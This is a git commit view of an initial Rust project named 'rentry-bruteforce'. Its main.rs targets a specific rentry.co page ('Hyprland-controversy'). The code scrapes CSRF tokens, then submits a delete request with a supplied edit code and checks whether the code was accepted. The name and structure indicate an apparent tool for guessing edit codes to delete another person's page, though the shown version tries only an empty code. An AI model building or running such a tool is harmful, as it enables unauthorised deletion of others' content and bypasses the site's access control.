Initial commit
This commit is contained in:
commit
8ffa244ce1
1
.gitignore
vendored
Normal file
1
.gitignore
vendored
Normal file
|
@ -0,0 +1 @@
|
||||||
|
/target
|
1681
Cargo.lock
generated
Normal file
1681
Cargo.lock
generated
Normal file
File diff suppressed because it is too large
Load diff
10
Cargo.toml
Normal file
10
Cargo.toml
Normal file
|
@ -0,0 +1,10 @@
|
||||||
|
[package]
|
||||||
|
name = "rentry-bruteforce"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
scraper = "0.19.0"
|
||||||
|
reqwest = { version = "0.12", features = ["blocking"] }
|
120
src/main.rs
Normal file
120
src/main.rs
Normal file
|
@ -0,0 +1,120 @@
|
||||||
|
use reqwest::{blocking::Client, header::HeaderValue};
|
||||||
|
use scraper::{Html, Selector};
|
||||||
|
|
||||||
|
const URL: &str = "https://rentry.co/Hyprland-controversy/edit";
|
||||||
|
|
||||||
|
enum DeleteResult {
|
||||||
|
Success(String),
|
||||||
|
InvalidEditCode,
|
||||||
|
OtherFailure(String),
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
struct CSRFData {
|
||||||
|
cookie: String,
|
||||||
|
form: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
fn get_cookie_value(header_value: &HeaderValue, cookie_name: &str) -> Option<String> {
|
||||||
|
let cookies_str = header_value.to_str().ok()?;
|
||||||
|
cookies_str.split(';').find_map(|cookie| {
|
||||||
|
let mut parts = cookie.split('=');
|
||||||
|
let name = parts.next()?.trim();
|
||||||
|
let value = parts.next()?.trim();
|
||||||
|
if name == cookie_name {
|
||||||
|
Some(value.to_string())
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
fn get_csrf_data(client: &Client) -> CSRFData {
|
||||||
|
let res = client.get(URL).send().unwrap();
|
||||||
|
let cookies = res.headers().get("Set-Cookie").unwrap();
|
||||||
|
let cookie_middleware_token = get_cookie_value(cookies, "csrftoken").unwrap();
|
||||||
|
|
||||||
|
let body = res.text().unwrap();
|
||||||
|
let document = Html::parse_document(&body);
|
||||||
|
let selector = Selector::parse("input[name=\"csrfmiddlewaretoken\"]").unwrap();
|
||||||
|
let form_middleware_token = document
|
||||||
|
.select(&selector)
|
||||||
|
.next()
|
||||||
|
.unwrap()
|
||||||
|
.value()
|
||||||
|
.attr("value")
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
CSRFData {
|
||||||
|
cookie: cookie_middleware_token,
|
||||||
|
form: form_middleware_token.to_string(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn attempt_delete(client: &Client, csrf_data: &CSRFData, edit_code: &str) -> DeleteResult {
|
||||||
|
let res = client
|
||||||
|
.post(URL)
|
||||||
|
.header("Referer", URL)
|
||||||
|
.header(
|
||||||
|
"Cookie",
|
||||||
|
"csrftoken=".to_string() + csrf_data.cookie.as_str(),
|
||||||
|
)
|
||||||
|
.form(&[
|
||||||
|
("csrfmiddlewaretoken", csrf_data.form.as_str()),
|
||||||
|
("edit_code", edit_code),
|
||||||
|
("new_edit_code", ""),
|
||||||
|
("new_url", ""),
|
||||||
|
("text", ""),
|
||||||
|
("delete", "delete"),
|
||||||
|
])
|
||||||
|
.send()
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
let status = res.status();
|
||||||
|
|
||||||
|
let raw_txt = res.text().unwrap();
|
||||||
|
let document = Html::parse_document(&raw_txt);
|
||||||
|
|
||||||
|
if status.is_success() {
|
||||||
|
let selector = Selector::parse("ul.messages > li.text-success").unwrap();
|
||||||
|
if let Some(element) = document.select(&selector).next() {
|
||||||
|
let txt = element.text().collect::<String>();
|
||||||
|
return DeleteResult::Success(txt);
|
||||||
|
}
|
||||||
|
|
||||||
|
let selector =
|
||||||
|
Selector::parse("fieldset > div.text-danger.messages > ul.errorlist > li").unwrap();
|
||||||
|
if let Some(element) = document.select(&selector).next() {
|
||||||
|
let txt = element.text().collect::<String>();
|
||||||
|
if txt == "Invalid edit code." {
|
||||||
|
return DeleteResult::InvalidEditCode;
|
||||||
|
}
|
||||||
|
return DeleteResult::OtherFailure(txt);
|
||||||
|
}
|
||||||
|
|
||||||
|
return DeleteResult::OtherFailure("unknown failure".to_string());
|
||||||
|
}
|
||||||
|
|
||||||
|
let selector = Selector::parse("span").unwrap();
|
||||||
|
let err_txt = document
|
||||||
|
.select(&selector)
|
||||||
|
.next()
|
||||||
|
.unwrap()
|
||||||
|
.text()
|
||||||
|
.collect::<String>();
|
||||||
|
let err_txt = err_txt.trim().to_string();
|
||||||
|
|
||||||
|
DeleteResult::OtherFailure(err_txt)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn main() {
|
||||||
|
let client = Client::new();
|
||||||
|
let csrf_data = get_csrf_data(&client);
|
||||||
|
println!("Token: {csrf_data:?}");
|
||||||
|
|
||||||
|
match attempt_delete(&client, &csrf_data, "") {
|
||||||
|
DeleteResult::Success(txt) => println!("Successfully deleted: {txt}!"),
|
||||||
|
DeleteResult::InvalidEditCode => println!("Failed to delete: Invalid edit code!"),
|
||||||
|
DeleteResult::OtherFailure(txt) => println!("Failed to delete: {txt}!"),
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in a new issue